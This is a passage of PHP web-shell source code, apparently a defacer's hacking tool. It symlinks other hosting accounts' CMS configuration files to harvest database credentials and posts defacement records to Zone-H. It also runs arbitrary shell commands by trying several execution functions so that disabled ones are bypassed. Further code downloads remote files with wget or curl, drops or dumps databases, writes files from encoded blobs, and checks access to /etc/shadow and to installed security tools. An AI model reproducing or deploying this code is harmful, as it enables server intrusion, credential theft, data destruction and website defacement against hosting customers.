  423.         symlink('/home5/' . $usern . '/public_html/configuration.php', $pdomain . '~~Joomla1.txt');
  424.         symlink('/home5/' . $usern . '/public_html/blog/configuration.php', $pdomain . '~~Joomla2.txt');
  425.         symlink('/home5/' . $usern . '/public_html/joomla/configuration.php', $pdomain . '~~Joomla3.txt');
  426.         symlink('/home5/' . $usern . '/public_html/whm/configuration.php', $pdomain . '~~Whm1.txt');
  427.         symlink('/home5/' . $usern . '/public_html/whmc/configuration.php', $pdomain . '~~Whm2.txt');
  428.         symlink('/home5/' . $usern . '/public_html/support/configuration.php', $pdomain . '~~Whm3.txt');
  429.         symlink('/home5/' . $usern . '/public_html/client/configuration.php', $pdomain . '~~Whm4.txt');
  430.         symlink('/home5/' . $usern . '/public_html/billings/configuration.php', $pdomain . '~~Whm5.txt');
  431.         symlink('/home5/' . $usern . '/public_html/billing/configuration.php', $pdomain . '~~Whm6.txt');
  432.         symlink('/home5/' . $usern . '/public_html/clients/configuration.php', $pdomain . '~~Whm7.txt');
  433.         symlink('/home5/' . $usern . '/public_html/whmcs/configuration.php', $pdomain . '~~Whm8.txt');
  434.         symlink('/home5/' . $usern . '/public_html/order/configuration.php', $pdomain . '~~Whm9.txt');
  435.         symlink('/home5/' . $usern . '/public_html/admin/conf.php', $pdomain . '~~5.txt');
  436.         symlink('/home5/' . $usern . '/public_html/admin/config.php', $pdomain . '~~4.txt');
  437.         symlink('/home5/' . $usern . '/public_html/conf_global.php', $pdomain . '~~invisio.txt');
  438.         symlink('/home5/' . $usern . '/public_html/include/db.php', $pdomain . '~~7.txt');
  439.         symlink('/home5/' . $usern . '/public_html/connect.php', $pdomain . '~~8.txt');
  440.         symlink('/home5/' . $usern . '/public_html/mk_conf.php', $pdomain . '~~mk-portale1.txt');
  441.         symlink('/home5/' . $usern . '/public_html/include/config.php', $pdomain . '~~12.txt');
  442.         symlink('/home5/' . $usern . '/public_html/settings.php', $pdomain . '~~Smf.txt');
  443.         symlink('/home5/' . $usern . '/public_html/includes/functions.php', $pdomain . '~~phpbb3.txt');
  444.         symlink('/home5/' . $usern . '/public_html/include/db.php', $pdomain . '~~infinity.txt');
  445.         symlink('/home6/' . $usern . '/public_html/vb/includes/config.php', $pdomain . '~~vBulletin1.txt');
  446.         symlink('/home6/' . $usern . '/public_html/includes/config.php', $pdomain . '~~vBulletin2.txt');
  447.         symlink('/home6/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~vBulletin3.txt');
  448.         symlink('/home6/' . $usern . '/public_html/cc/includes/config.php', $pdomain . '~~vBulletin4.txt');
  449.         symlink('/home6/' . $usern . '/public_html/config.php', $pdomain . '~~Phpbb1.txt');
  450.         symlink('/home6/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~Phpbb2.txt');
  451.         symlink('/home6/' . $usern . '/public_html/wp-config.php', $pdomain . '~~Wordpress1.txt');
  452.         symlink('/home6/' . $usern . '/public_html/blog/wp-config.php', $pdomain . '~~Wordpress2.txt');
  453.         symlink('/home6/' . $usern . '/public_html/configuration.php', $pdomain . '~~Joomla1.txt');
  454.         symlink('/home6/' . $usern . '/public_html/blog/configuration.php', $pdomain . '~~Joomla2.txt');
  455.         symlink('/home6/' . $usern . '/public_html/joomla/configuration.php', $pdomain . '~~Joomla3.txt');
  456.         symlink('/home6/' . $usern . '/public_html/whm/configuration.php', $pdomain . '~~Whm1.txt');
  457.         symlink('/home6/' . $usern . '/public_html/whmc/configuration.php', $pdomain . '~~Whm2.txt');
  458.         symlink('/home6/' . $usern . '/public_html/support/configuration.php', $pdomain . '~~Whm3.txt');
  459.         symlink('/home6/' . $usern . '/public_html/client/configuration.php', $pdomain . '~~Whm4.txt');
  460.         symlink('/home6/' . $usern . '/public_html/billings/configuration.php', $pdomain . '~~Whm5.txt');
  461.         symlink('/home6/' . $usern . '/public_html/billing/configuration.php', $pdomain . '~~Whm6.txt');
  462.         symlink('/home6/' . $usern . '/public_html/clients/configuration.php', $pdomain . '~~Whm7.txt');
  463.         symlink('/home6/' . $usern . '/public_html/whmcs/configuration.php', $pdomain . '~~Whm8.txt');
  464.         symlink('/home6/' . $usern . '/public_html/order/configuration.php', $pdomain . '~~Whm9.txt');
  465.         symlink('/home6/' . $usern . '/public_html/admin/conf.php', $pdomain . '~~5.txt');
  466.         symlink('/home6/' . $usern . '/public_html/admin/config.php', $pdomain . '~~4.txt');
  467.         symlink('/home6/' . $usern . '/public_html/conf_global.php', $pdomain . '~~invisio.txt');
  468.         symlink('/home6/' . $usern . '/public_html/include/db.php', $pdomain . '~~7.txt');
  469.         symlink('/home6/' . $usern . '/public_html/connect.php', $pdomain . '~~8.txt');
  470.         symlink('/home6/' . $usern . '/public_html/mk_conf.php', $pdomain . '~~mk-portale1.txt');
  471.         symlink('/home6/' . $usern . '/public_html/include/config.php', $pdomain . '~~12.txt');
  472.         symlink('/home6/' . $usern . '/public_html/settings.php', $pdomain . '~~Smf.txt');
  473.         symlink('/home6/' . $usern . '/public_html/includes/functions.php', $pdomain . '~~phpbb3.txt');
  474.         symlink('/home6/' . $usern . '/public_html/include/db.php', $pdomain . '~~infinity.txt');
  475.         symlink('/home7/' . $usern . '/public_html/vb/includes/config.php', $pdomain . '~~vBulletin1.txt');
  476.         symlink('/home7/' . $usern . '/public_html/includes/config.php', $pdomain . '~~vBulletin2.txt');
  477.         symlink('/home7/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~vBulletin3.txt');
  478.         symlink('/home7/' . $usern . '/public_html/cc/includes/config.php', $pdomain . '~~vBulletin4.txt');
  479.         symlink('/home7/' . $usern . '/public_html/config.php', $pdomain . '~~Phpbb1.txt');
  480.         symlink('/home7/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~Phpbb2.txt');
  481.         symlink('/home7/' . $usern . '/public_html/wp-config.php', $pdomain . '~~Wordpress1.txt');
  482.         symlink('/home7/' . $usern . '/public_html/blog/wp-config.php', $pdomain . '~~Wordpress2.txt');
  483.         symlink('/home7/' . $usern . '/public_html/configuration.php', $pdomain . '~~Joomla1.txt');
  484.         symlink('/home7/' . $usern . '/public_html/blog/configuration.php', $pdomain . '~~Joomla2.txt');
  485.         symlink('/home7/' . $usern . '/public_html/joomla/configuration.php', $pdomain . '~~Joomla3.txt');
  486.         symlink('/home7/' . $usern . '/public_html/whm/configuration.php', $pdomain . '~~Whm1.txt');
  487.         symlink('/home7/' . $usern . '/public_html/whmc/configuration.php', $pdomain . '~~Whm2.txt');
  488.         symlink('/home7/' . $usern . '/public_html/support/configuration.php', $pdomain . '~~Whm3.txt');
  489.         symlink('/home7/' . $usern . '/public_html/client/configuration.php', $pdomain . '~~Whm4.txt');
  490.         symlink('/home7/' . $usern . '/public_html/billings/configuration.php', $pdomain . '~~Whm5.txt');
  491.         symlink('/home7/' . $usern . '/public_html/billing/configuration.php', $pdomain . '~~Whm6.txt');
  492.         symlink('/home7/' . $usern . '/public_html/clients/configuration.php', $pdomain . '~~Whm7.txt');
  493.         symlink('/home7/' . $usern . '/public_html/whmcs/configuration.php', $pdomain . '~~Whm8.txt');
  494.         symlink('/home7/' . $usern . '/public_html/order/configuration.php', $pdomain . '~~Whm9.txt');
  495.         symlink('/home7/' . $usern . '/public_html/admin/conf.php', $pdomain . '~~5.txt');
  496.         symlink('/home7/' . $usern . '/public_html/admin/config.php', $pdomain . '~~4.txt');
  497.         symlink('/home7/' . $usern . '/public_html/conf_global.php', $pdomain . '~~invisio.txt');
  498.         symlink('/home7/' . $usern . '/public_html/include/db.php', $pdomain . '~~7.txt');
  499.         symlink('/home7/' . $usern . '/public_html/connect.php', $pdomain . '~~8.txt');
  500.         symlink('/home7/' . $usern . '/public_html/mk_conf.php', $pdomain . '~~mk-portale1.txt');
  501.         symlink('/home7/' . $usern . '/public_html/include/config.php', $pdomain . '~~12.txt');
  502.         symlink('/home7/' . $usern . '/public_html/settings.php', $pdomain . '~~Smf.txt');
  503.         symlink('/home7/' . $usern . '/public_html/includes/functions.php', $pdomain . '~~phpbb3.txt');
  504.         symlink('/home7/' . $usern . '/public_html/include/db.php', $pdomain . '~~infinity.txt');
  505.     }
  506.     // Zone-h Poster
  507.     function ZoneH($url, $hacker, $hackmode, $reson, $site)
  508.     {
  509.         $k = curl_init();
  510.         curl_setopt($k, CURLOPT_URL, $url);
  511.         curl_setopt($k, CURLOPT_POST, true);
  512.         curl_setopt($k, CURLOPT_POSTFIELDS, "defacer=" . $hacker . "&domain1=" . $site . "&hackmode=" . $hackmode . "&reason=" . $reson);
  513.         curl_setopt($k, CURLOPT_FOLLOWLOCATION, true);
  514.         curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
  515.         $kubra = curl_exec($k);
  516.         curl_close($k);
  517.         return $kubra;
  518.     }
  519.     // Database functions
  520.     function listdatabase()
  521.     {
  522.         $self = $_SERVER["PHP_SELF"];
  523. ?>
  524.                 <br>
  525.                 <form>
  526.                 <input type="hidden" name="action" value="createDB">
  527.                         <table>
  528.                         <tr>
  529.                                 <td><input type="text" class="box" name="dbname"></td><td><input type="submit" value="  Create Database  " name="createmydb" class="but"></td>
  530.                         </tr>
  531.                         </table>
  532.                 </form>
  533.                         <br>
  534.                 <?php
  535.         $mysqlHandle = mysql_connect($_COOKIE['dbserver'], $_COOKIE['dbuser'], $_COOKIE['dbpass']);
  536.         $result      = mysql_query("SHOW DATABASE");
  537.         echo "<table cellspacing=1 cellpadding=5 border=1 class=tbl style=width:60%;>\n";
  538.         $pDB = mysql_list_dbs($mysqlHandle);
  539.         $num = mysql_num_rows($pDB);
  540.         for ($i = 0; $i < $num; $i++) {
  541.             $dbname = mysql_dbname($pDB, $i);
  542.             mysql_select_db($dbname, $mysqlHandle);
  543.             $result        = mysql_query("SHOW TABLES");
  544.             $num_of_tables = mysql_num_rows($result);
  545.             echo "<tr>\n";
  546.             echo "<td><a href='$self?action=listTables&dbname=$dbname'><font size=3>$dbname</font></a> ($num_of_tables)</td>\n";
  547.             echo "<td><a href='$self?action=listTables&dbname=$dbname'>Tables</a></td>\n";
  548.             echo "<td><a href='$self?action=dropDB&dbname=$dbname&executequery' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>\n";
  549.             echo "<td><a href='$self?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
  550.             echo "</tr>\n";
  551.         }
  552.         echo "</table>\n";
  553.         mysql_close($mysqlHandle);
  554.     }
  555.     function listtable()
  556.     {
  557.         $self     = $_SERVER["PHP_SELF"];
  558.         $dbserver = $_COOKIE["dbserver"];
  559.         $dbuser   = $_COOKIE["dbuser"];
  560.         $dbpass   = $_COOKIE["dbpass"];
  561.         $dbname   = $_GET['dbname'];
  562.         echo "<div><font size=3>[ $dbname ]</font> - <font size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> &nbsp; <a href=$self?logoutdb> <fontclass=txt face=Iceland size=3>[ Log Out ]</font> </a></div>";
  563. ?>
  564.                 <br><br>
  565.                 <form>
  566.                 <input type="hidden" name="action" value="createtable">
  567.                 <input type="hidden" name="dbname" value="<?php
  568.         echo $_GET['dbname'];
  569. ?>">
  570.                         <table>
  571.                         <tr>
  572.                                 <td><input type="text" class="box" name="tablename"></td><td><input type="submit" value="  Create Table  " name="createmydb" class="but"></td>
  573.                         </tr>
  574.                         </table>
  575.                         <br>
  576.                         <form>
  577.                         <input type="hidden" value="<?php
  578.         echo $_GET['dbname'];
  579. ?>" name="dbname">
  580.                         <input type="hidden" value="<?php
  581.         echo $_GET['tablename'];
  582. ?>" name="tablename">
  583.                         <input type="hidden" value="executequery" name="action">
  584.                         <table>
  585.                                 <tr>
  586.                                         <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
  587.                                 </tr>
  588.                                 <tr>
  589.                                         <td><input type="submit" value="Execute" class="but"></td>
  590.                                 </tr>
  591.                         </table>
  592.                         </form>
  593.                 <?php
  594.         $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
  595.         mysql_select_db($dbname);
  596.         $pTable = mysql_list_tables($dbname);
  597.         if ($pTable == 0) {
  598.             $msg = mysql_error();
  599.             echo "<h3>Error : $msg</h3><p>\n";
  600.             return;
  601.         }
  602.         $num = mysql_num_rows($pTable);
  603.         echo "<table cellspacing=1 cellpadding=5 class=tbl border=1 style=width:60%;>\n";
  604.         for ($i = 0; $i < $num; $i++) {
  605.             $tablename = mysql_tablename($pTable, $i);
  606.             $result    = mysql_query("select * from $tablename");
  607.             $num_rows  = mysql_num_rows($result);
  608.             echo "<tr>\n";
  609.             echo "<td>\n";
  610.             echo "<a href='$self?action=viewdata&dbname=$dbname&tablename=$tablename'><font size=3>$tablename</font></a> ($num_rows)\n";
  611.             echo "</td>\n";
  612.             echo "<td>\n";
  613.             echo "<a href='$self?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  614.             echo "</td>\n";
  615.             echo "<td>\n";
  616.             echo "<a href='$self?action=viewdata&dbname=$dbname&tablename=$tablename'>Data</a>\n";
  617.             echo "</td>\n";
  618.             echo "<td>\n";
  619.             echo "<a href='$self?action=empty&dbname=$dbname&tablename=$tablename'>Empty</a>\n";
  620.             echo "</td>\n";
  621.             echo "<td>\n";
  622.             echo "<a href='$self?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Table \'$tablename\'?')\">Drop</a>\n";
  623.             echo "</td>\n";
  624.             echo "</tr>\n";
  625.         }
  626.         echo "</table></form>";
  627.         mysql_close($mysqlHandle);
  628.         echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> &nbsp; <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
  629.     }
  630.     function paramexe($n, $v)
  631.     {
  632.         $v = trim($v);
  633.         if ($v) {
  634.             echo '<span><font size=3>' . $n . ': </font></span>';
  635.             if (strpos($v, "\n") === false)
  636.                 echo '<font class=txt face=Iceland size=2>' . $v . '</font><br>';
  637.             else
  638.                 echo '<pre class=ml1><font class=txt face=Iceland size=3>' . $v . '</font></pre>';
  639.         }
  640.     }
  641.     $dir = getcwd();
  642.     if (isset($_GET['dir'])) {
  643.         $dir = $_GET['dir'];
  644.     }
  645.     function dis()
  646.     {
  647.         if (!ini_get('disable_functions')) {
  648.             echo "None";
  649.         } else {
  650.             echo @ini_get('disable_functions');
  651.         }
  652.     }
  653.     function mycmdexec($cmd)
  654.     {
  655.         global $disablefunc;
  656.         $result = "";
  657.         if (!empty($cmd)) {
  658.             if (is_callable("exec") and !in_array("exec", $disablefunc)) {
  659.                 exec($cmd, $result);
  660.                 $result = join("\n", $result);
  661.             } elseif (($result = "$cmd") !== FALSE) {
  662.             } elseif (is_callable("system") and !in_array("system", $disablefunc)) {
  663.                 $v = @ob_get_contents();
  664.                 @ob_clean();
  665.                 system($cmd);
  666.                 $result = @ob_get_contents();
  667.                 @ob_clean();
  668.                 echo $v;
  669.             } elseif (is_callable("passthru") and !in_array("passthru", $disablefunc)) {
  670.                 $v = @ob_get_contents();
  671.                 @ob_clean();
  672.                 passthru($cmd);
  673.                 $result = @ob_get_contents();
  674.                 @ob_clean();
  675.                 echo $v;
  676.             } elseif (is_resource($fp = popen($cmd, "r"))) {
  677.                 $result = "";
  678.                 while (!feof($fp)) {
  679.                     $result .= fread($fp, 1024);
  680.                 }
  681.                 pclose($fp);
  682.             }
  683.         }
  684.         return $result;
  685.     }
  686.     function rrmdir($dir)
  687.     {
  688.         if (is_dir($dir)) // ensures that we actually have a directory
  689.             {
  690.             $objects = scandir($dir); // gets all files and folders inside
  691.             foreach ($objects as $object) {
  692.                 if ($object != '.' && $object != '..') {
  693.                     if (is_dir($dir . '/' . $object)) {
  694.                         // if we find a directory, do a recursive call
  695.                         rrmdir($dir . '/' . $object);
  696.                     } else {
  697.                         // if we find a file, simply delete it
  698.                         unlink($dir . '/' . $object);
  699.                     }
  700.                 }
  701.             }
  702.             // the original directory is now empty, so delete it
  703.             rmdir($dir);
  704.         }
  705.     }
  706.     function godir($dir)
  707.     {
  708.         //echo $dir;
  709.         $zip      = new ZipArchive();
  710.         $filename = basename($dir) . '.zip';
  711.         // open archive
  712.         if ($zip->open($filename, ZIPARCHIVE::CREATE) !== TRUE) {
  713.             die("Could not open archive");
  714.         } else
  715.             echo "fdg";
  716.         if (is_dir($dir)) // ensures that we actually have a directory
  717.             {
  718.             $objects = scandir($dir); // gets all files and folders inside
  719.             foreach ($objects as $object) {
  720.                 if ($object != '.' && $object != '..') {
  721.                     if (is_dir($dir . '\\' . $object)) { //echo $dir . '/' . $object;
  722.                         // if we find a directory, do a recursive call
  723.                         godir($dir . '\\' . $object);
  724.                     } else {
  725.                         // if we find a file, simply add it
  726.                         $zip->addFile($dir . '\\' . $object) or die("ERROR: Could not add file: $key");
  727.                     }
  728.                 }
  729.             }
  730.             // the original directory is now empty, so delete it
  731.             $zip->addFile($dir) or die("ERROR: Could not add file: $key");
  732.         }
  733.     }
  734.     function which($pr)
  735.     {
  736.         $path = execmd("which $pr");
  737.         if (!empty($path))
  738.             return trim($path);
  739.         else
  740.             return trim($pr);
  741.     }
  742.     function cf($f, $t)
  743.     {
  744.         $w = @fopen($f, "w") or @function_exists('file_put_contents');
  745.         if ($w) {
  746.             @fwrite($w, gzinflate(base64_decode($t))) or @fputs($w, gzinflate(base64_decode($t))) or @file_put_contents($f, gzinflate(base64_decode($t)));
  747.             @fclose($w);
  748.         }
  749.     }
  750.     function remotedownload($cmd, $url)
  751.     {
  752.         $namafile = basename($url);
  753.         switch ($cmd) {
  754.             case 'wwget':
  755.                 execmd(which('wget') . " " . $url . " -O " . $namafile);
  756.                 break;
  757.             case 'wlynx':
  758.                 execmd(which('lynx') . " -source " . $url . " > " . $namafile);
  759.                 break;
  760.             case 'wfread':
  761.                 execmd($wurl, $namafile);
  762.                 break;
  763.             case 'wfetch':
  764.                 execmd(which('fetch') . " -o " . $namafile . " -p " . $url);
  765.                 break;
  766.             case 'wlinks':
  767.                 execmd(which('links') . " -source " . $url . " > " . $namafile);
  768.                 break;
  769.             case 'wget':
  770.                 execmd(which('GET') . " " . $url . " > " . $namafile);
  771.                 break;
  772.             case 'wcurl':
  773.                 execmd(which('curl') . " " . $url . " -o " . $namafile);
  774.                 break;
  775.             default:
  776.                 break;
  777.         }
  778.         return $namafile;
  779.     }
  780.     function magicboom($text)
  781.     {
  782.         if (!get_magic_quotes_gpc())
  783.             return $text;
  784.         return stripslashes($text);
  785.     }
  786.     ##################################
  787.    function execmd($cmd, $d_functions = "None")
  788.     {
  789.         if ($d_functions == "None") {
  790.             $ret = passthru($cmd);
  791.             return $ret;
  792.         }
  793.         $funcs       = array(
  794.             "shell_exec",
  795.             "exec",
  796.             "passthru",
  797.             "system",
  798.             "popen",
  799.             "proc_open"
  800.         );
  801.         $d_functions = str_replace(" ", "", $d_functions);
  802.         $dis_funcs   = explode(",", $d_functions);
  803.         foreach ($funcs as $safe) {
  804.             if (!in_array($safe, $dis_funcs)) {
  805.                 if ($safe == "exec") {
  806.                     $ret = @exec($cmd);
  807.                     $ret = join("\n", $ret);
  808.                     return $ret;
  809.                 } elseif ($safe == "system") {
  810.                     $ret = @system($cmd);
  811.                     return $ret;
  812.                 } elseif ($safe == "passthru") {
  813.                     $ret = @passthru($cmd);
  814.                     return $ret;
  815.                 } elseif ($safe == "shell_exec") {
  816.                     $ret = @shell_exec($cmd);
  817.                     return $ret;
  818.                 } elseif ($safe == "popen") {
  819.                     $ret = @popen("$cmd", 'r');
  820.                     if (is_resource($ret)) {
  821.                         while (@!feof($ret))
  822.                             $read .= @fgets($ret);
  823.                         @pclose($ret);
  824.                         return $read;
  825.                     }
  826.                     return -1;
  827.                 } elseif ($safe = "proc_open") {
  828.                     $cmdpipe  = array(
  829.                         0 => array(
  830.                             'pipe',
  831.                             'r'
  832.                         ),
  833.                         1 => array(
  834.                             'pipe',
  835.                             'w'
  836.                         )
  837.                     );
  838.                     $resource = @proc_open($cmd, $cmdpipe, $pipes);
  839.                     if (@is_resource($resource)) {
  840.                         while (@!feof($pipes[1]))
  841.                             $ret .= @fgets($pipes[1]);
  842.                         @fclose($pipes[1]);
  843.                         @proc_close($resource);
  844.                         return $ret;
  845.                     }
  846.                     return -1;
  847.                 }
  848.             }
  849.         }
  850.         return -1;
  851.     }
  852.     function getDisabledFunctions()
  853.     {
  854.         if (!ini_get('disable_functions')) {
  855.             return "None";
  856.         } else {
  857.             return @ini_get('disable_functions');
  858.         }
  859.     }
  860.     function getFilePermissions($file)
  861.     {
  862.         $perms = fileperms($file);
  863.         if (($perms & 0xC000) == 0xC000) {
  864.             // Socket
  865.             $info = 's';
  866.         } elseif (($perms & 0xA000) == 0xA000) {
  867.             // Symbolic Link
  868.             $info = 'l';
  869.         } elseif (($perms & 0x8000) == 0x8000) {
  870.             // Regular
  871.             $info = '-';
  872.         } elseif (($perms & 0x6000) == 0x6000) {
  873.             // Block special
  874.             $info = 'b';
  875.         } elseif (($perms & 0x4000) == 0x4000) {
  876.             // Directory
  877.             $info = 'd';
  878.         } elseif (($perms & 0x2000) == 0x2000) {
  879.             // Character special
  880.             $info = 'c';
  881.         } elseif (($perms & 0x1000) == 0x1000) {
  882.             // FIFO pipe
  883.             $info = 'p';
  884.         } else {
  885.             // Unknown
  886.             $info = 'u';
  887.         }
  888.         // Owner
  889.         $info .= (($perms & 0x0100) ? 'r' : '-');
  890.         $info .= (($perms & 0x0080) ? 'w' : '-');
  891.         $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
  892.         // Group
  893.         $info .= (($perms & 0x0020) ? 'r' : '-');
  894.         $info .= (($perms & 0x0010) ? 'w' : '-');
  895.         $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
  896.         // World
  897.         $info .= (($perms & 0x0004) ? 'r' : '-');
  898.         $info .= (($perms & 0x0002) ? 'w' : '-');
  899.         $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
  900.         return $info;
  901.     }
  902.     function yourip()
  903.     {
  904.         echo $_SERVER["REMOTE_ADDR"];
  905.     }
  906.     function phpver()
  907.     {
  908.         $pv = @phpversion();
  909.         echo $pv;
  910.     }
  911.     function serverport()
  912.     {
  913.         echo $_SERVER['SERVER_PORT'];
  914.     }
  915.     function safe()
  916.     {
  917.         global $sm;
  918.         return $sm ? "ON :( :'( (Most of the Features will Not Work!)" : "OFF";
  919.     }
  920.     function serveradmin()
  921.     {
  922.         echo $_SERVER['SERVER_ADMIN'];
  923.     }
  924.     function systeminfo()
  925.     {
  926.         echo php_uname();
  927.     }
  928.     function curlinfo()
  929.     {
  930.         echo function_exists('curl_version') ? ("<font class=txt face=Iceland>Enabled</font>") : ("Disabled");
  931.     }
  932.     function oracleinfo()
  933.     {
  934.         echo function_exists('ocilogon') ? ("<font class=txt face=Iceland>Enabled</font>") : ("Disabled");
  935.     }
  936.     function mysqlinfo()
  937.     {
  938.         echo function_exists('mysql_connect') ? ("<font class=txt face=Iceland>Enabled</font>") : ("Disabled");
  939.     }
  940.     function mssqlinfo()
  941.     {
  942.         echo function_exists('mssql_connect') ? ("<font class=txt face=Iceland>Enabled</font>") : ("Disabled");
  943.     }
  944.     function postgresqlinfo()
  945.     {
  946.         echo function_exists('pg_connect') ? ("<font class=txt face=Iceland>Enabled</font>") : ("Disabled");
  947.     }
  948.     function softwareinfo()
  949.     {
  950.         echo getenv("SERVER_SOFTWARE");
  951.     }
  952.     function download()
  953.     {
  954.         $frd = $_GET['download'];
  955.         $prd = explode("/", $frd);
  956.         for ($i = 0; $i < sizeof($prd); $i++) {
  957.             $nfd = $prd[$i];
  958.         }
  959.         @ob_clean();
  960.         header("Content-type: application/octet-stream");
  961.         header("Content-length: " . filesize($nfd));
  962.         header("Content-disposition: attachment; filename=\"" . $nfd . "\";");
  963.         readfile($nfd);
  964.         exit;
  965.     }
  966.     function HumanReadableFilesize($size)
  967.     {
  968.         $mod   = 1024;
  969.         $units = explode(' ', 'B KB MB GB TB PB');
  970.         for ($i = 0; $size > $mod; $i++) {
  971.             $size /= $mod;
  972.         }
  973.         return round($size, 2) . ' ' . $units[$i];
  974.     }
  975.     function showDrives()
  976.     {
  977.         global $self;
  978.         foreach (range('A', 'Z') as $drive) {
  979.             if (is_dir($drive . ':\\')) {
  980. ?>
  981.                 <a class="dir" href='<?php
  982.                 echo $self;
  983. ?>?dir=<?php
  984.                 echo $drive . ":\\";
  985. ?>'>
  986.                     <font class="txt"><?php
  987.                 echo $drive . ":\\";
  988. ?></font>
  989.                 </a>
  990.                 <?php
  991.             }
  992.         }
  993.     }
  994.     function diskSpace()
  995.     {
  996.         echo HumanReadableFilesize(disk_total_space("/"));
  997.     }
  998.     function freeSpace()
  999.     {
  1000.         echo HumanReadableFilesize(disk_free_space("/"));
  1001.     }
  1002.     function thiscmd($p)
  1003.     {
  1004.         $path = myexe('which ' . $p);
  1005.         if (!empty($path))
  1006.             return $path;
  1007.         return false;
  1008.     }
  1009.     function split_dir()
  1010.     {
  1011.         $de  = explode("/", getcwd());
  1012.         $del = $de[0];
  1013.         for ($count = 0; $count < sizeof($de); $count++) {
  1014.             $imp = $imp . $de[$count] . '/';
  1015.             echo "<a href=" . $self . "?open=" . $imp . ">" . $de[$count] . "</a> / ";
  1016.         }
  1017.     }
  1018.     function mysecinfo()
  1019.     {
  1020.         function myparam($n, $v)
  1021.         {
  1022.             $v = trim($v);
  1023.             if ($v) {
  1024.                 echo '<span>' . $n . ': </span>';
  1025.                 if (strpos($v, "\n") === false)
  1026.                     echo '<font class=txt face=Iceland>' . $v . '</font><br>';
  1027.                 else
  1028.                     echo '<pre class=ml1><font class=txt face=Iceland>' . $v . '</font></pre>';
  1029.             }
  1030.         }
  1031.         myparam('Server software', @getenv('SERVER_SOFTWARE'));
  1032.         if (function_exists('apache_get_modules'))
  1033.             myparam('Loaded Apache modules', implode(', ', apache_get_modules()));
  1034.         myparam('Open base dir', @ini_get('open_basedir'));
  1035.         myparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  1036.         myparam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  1037.         $temp = array();
  1038.         if (function_exists('mysql_get_client_info'))
  1039.             $temp[] = "MySql (" . mysql_get_client_info() . ")";
  1040.         if (function_exists('mssql_connect'))
  1041.             $temp[] = "MSSQL";
  1042.         if (function_exists('pg_connect'))
  1043.             $temp[] = "PostgreSQL";
  1044.         if (function_exists('oci_connect'))
  1045.             $temp[] = "Oracle";
  1046.         myparam('Supported databases', implode(', ', $temp));
  1047.         echo '<br>';
  1048.         if ($GLOBALS['os'] == 'Linux') {
  1049.             myparam('Distro : ', myexe("cat /etc/*-release"));
  1050.             myparam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='$self?passwd'>[view]</a>" : 'no');
  1051.             myparam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
  1052.             myparam('OS version', @file_get_contents('/proc/version'));
  1053.             myparam('Distr name', @file_get_contents('/etc/issue.net'));
  1054.             myparam('Where is Perl?', myexe('whereis perl'));
  1055.             myparam('Where is Python?', myexe('whereis python'));
  1056.             myparam('Where is gcc?', myexe('whereis gcc'));
  1057.             myparam('Where is apache?', myexe('whereis apache'));
  1058.             myparam('CPU?', myexe('cat /proc/cpuinfo'));
  1059.             myparam('RAM', myexe('free -m'));
  1060.             myparam('Mount options', myexe('cat /etc/fstab'));
  1061.             myparam('User Limits', myexe('ulimit -a'));
  1062.             if (!$GLOBALS['safe_mode']) {
  1063.                 $userful     = array(
  1064.                     'gcc',
  1065.                     'lcc',
  1066.                     'cc',
  1067.                     'ld',
  1068.                     'make',
  1069.                     'php',
  1070.                     'perl',
  1071.                     'python',
  1072.                     'ruby',
  1073.                     'tar',
  1074.                     'gzip',
  1075.                     'bzip',
  1076.                     'bzip2',
  1077.                     'nc',
  1078.                     'locate',
  1079.                     'suidperl'
  1080.                 );
  1081.                 $danger      = array(
  1082.                     'kav',
  1083.                     'nod32',
  1084.                     'bdcored',
  1085.                     'uvscan',
  1086.                     'sav',
  1087.                     'drwebd',
  1088.                     'clamd',
  1089.                     'rkhunter',
  1090.                     'chkrootkit',
  1091.                     'iptables',
  1092.                     'ipfw',
  1093.                     'tripwire',
  1094.                     'shieldcc',
  1095.                     'portsentry',
  1096.                     'snort',
  1097.                     'ossec',
  1098.                     'lidsadm',
  1099.                     'tcplodg',
  1100.                     'sxid',
  1101.                     'logcheck',
  1102.                     'logwatch',
  1103.                     'sysmask',
  1104.                     'zmbscap',
  1105.                     'sawmill',
  1106.                     'wormscan',
  1107.                     'ninja'
  1108.                 );
  1109.                 $downloaders = array(
  1110.                     'wget',
  1111.                     'fetch',
  1112.                     'lynx',
  1113.                     'links',
  1114.                     'curl',
  1115.                     'get',
  1116.                     'lwp-mirror'
  1117.                 );
  1118.                 echo '<br>';
  1119.                 $temp = array();
  1120.                 foreach ($userful as $item)
  1121.                     if (thiscmd($item))
  1122.                         $temp[] = $item;
  1123.                 myparam('Userful', implode(', ', $temp));
  1124.                 $temp = array();
  1125.                 foreach ($danger as $item)
  1126.                     if (thiscmd($item))
  1127.                         $temp[] = $item;
  1128.                 myparam('Danger', implode(', ', $temp));
  1129.                 $temp = array();
  1130.                 foreach ($downloaders as $item)
  1131.                     if (thiscmd($item))
